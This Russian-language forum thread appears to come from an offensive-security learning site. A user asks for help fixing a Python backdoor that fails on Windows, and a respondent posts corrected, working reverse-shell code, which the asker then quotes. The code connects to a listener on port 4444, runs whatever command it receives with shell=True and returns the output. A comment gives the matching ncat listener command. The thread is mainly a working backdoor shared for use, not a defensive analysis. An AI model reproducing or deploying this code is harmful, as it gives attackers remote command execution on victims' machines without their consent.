• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Проблема с написанием backdoor

teddy1337

Green Team
22.10.2019
31
2
BIT
59
TypeError: bytes args is not allowed on Windows
raise TypeError('bytes args is not allowed on Windows')

Все работало нормально получал но после подключения subprocces
Стало выдавать ошибку не знаю что делать стою в тупике помогите плиз

P.S вот источник откуда сам бэк
 

Вложения

  • back.jpg
    back.jpg
    99,6 КБ · Просмотры: 223
Последнее редактирование:

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
По ошибке я вижу, что подключение просто упало по таймауту. Сервер слушает?
Выложи код или дай линк, откуда он. Так будет проще.
 

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
Тебе нужно декодировать полученное сообщение:
command_result = subprocess.check_output(command.decode('utf-8'), shell=True)

Также рекомендую найти идентичный ролик по Python 3, ибо сейчас учить вторую версию - такое себе времяпрепровождение.

Python:
import socket
import subprocess

# ncat -vv -l -p 4444
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(('127.0.0.1', 4444))

connection.send('[+] Connection established.\n'.encode('utf-8'))

command = connection.recv(1024)
command_result = subprocess.check_output(command.decode('utf-8'), shell=True)
connection.send(command_result)

connection.close()
 

teddy1337

Green Team
22.10.2019
31
2
BIT
59
Тебе нужно декодировать полученное сообщение:
command_result = subprocess.check_output(command.decode('utf-8'), shell=True)

Также рекомендую найти идентичный ролик по Python 3, ибо сейчас учить вторую версию - такое себе времяпрепровождение.

Python:
import socket
import subprocess

# ncat -vv -l -p 4444
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(('127.0.0.1', 4444))

connection.send('[+] Connection established.\n'.encode('utf-8'))

command = connection.recv(1024)
command_result = subprocess.check_output(command.decode('utf-8'), shell=True)
connection.send(command_result)

connection.close()
Та ты мой герой))
Пасибо большое дружище вчера всю ночь глючило меня понять не мог в чем трабл)
<3 <3
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!